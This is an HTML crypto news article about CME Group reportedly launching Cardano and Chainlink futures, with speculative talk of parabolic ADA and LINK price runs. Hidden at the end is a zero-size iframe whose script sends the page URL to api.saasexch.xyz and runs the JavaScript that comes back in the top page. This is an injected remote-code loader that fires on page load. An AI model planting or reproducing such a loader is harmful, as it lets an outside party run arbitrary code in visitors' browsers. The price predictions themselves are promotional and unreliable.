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 <li>CME Group set to launch futures for Cardano and Chainlink.&nbsp;</li>  
 <li>This move could mean a major price surge for ADA and LINK.</li>  
 <li>Both altcoins could experience a parabolic price run.</li> 
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<p>One of the world’s largest and most diverse derivatives marketplaces, offering the widest range of futures and options products for risk management, CME Group makes a major announcement. In detail, <a href="https://cryptonewsland.com/cme-group-halts-trading-across-futures-options-commodities-and-currencies-after-major-system-failure/" target="_blank" rel="noreferrer noopener">CME Group</a> is set to launch futures for Cardano and <a href="https://chain.link/" target="_blank" rel="noreferrer noopener nofollow">Chainlink</a>. This leads many altcoin enthusiasts to believe that the prices of their native token assets, ADA and LINK prices could surge exponentially.&nbsp;</p>  
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<p>With the altseason peak phase yet to make its arrival, top altcoin traders, analysts, and enthusiasts are looking for any signs of bullish price surges that could push altcoin prices to new ATH records. So far this bull cycle, only a handful of altcoins have gone on to set new ATH prices, leaving most altcoins a far run away from their previous ATH prices set about 4 years ago, and ADA and LINK are some such altcoins.&nbsp;</p>  
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<p>According to several experts, a significant event must occur that will contribute to the price of altcoins to enter a parabolic price run state. These led to many looking for possibilities for any such event that could lead to a price pump. As we can see from the post above, this post speculates over one announcement that could lead to a parabolic price run for both ADA and LINK altcoin prices.&nbsp;</p>  
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<p>In detail, this post talks about how the CME Group is set to launch futures for Cardano and Chainlink. For <a href="https://cardano.org/" target="_blank" rel="noreferrer noopener nofollow">Cardano</a>, this could represent the strongest institutional validation in its history, possibly the biggest seal of approval ADA has ever received. This move from CME Group would not just mean another listing. After all, CME is the <a href="https://cryptonewsland.com/cme-group-plans-to-launch-24-7-bitcoin-and-ether-futures-trading-by-early-2026-pending-regulatory-approval/" target="_blank" rel="noreferrer noopener">largest derivatives exchange</a> in the world, used by banks, hedge funds, asset managers, and institutions globally.&nbsp;</p>  
<p>Thus, A move like this sends a signal to the entire crypto industry: more institutional visibility, deeper capital access, improved price discovery, and a clearer path for traditional finance participation. This is how crypto keeps moving into the financial mainstream. Moreover, the post highlights CME Group's announcement of Cardano (ADA) futures contracts launching February 9, 2026, as a major institutional endorsement.</p>  
<p>CME, the world's largest derivatives exchange, confirmed the launch on January 15, 2026, for micro (10,000 ADA) and standard (100,000 ADA) sizes, pending regulatory approval, following similar products for Bitcoin and Ethereum. This development could enhance Cardano's liquidity and attract traditional investors, signaling broader crypto integration into finance, with early market reactions showing a modest 2-3% ADA price uptick post-announcement.</p> <div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

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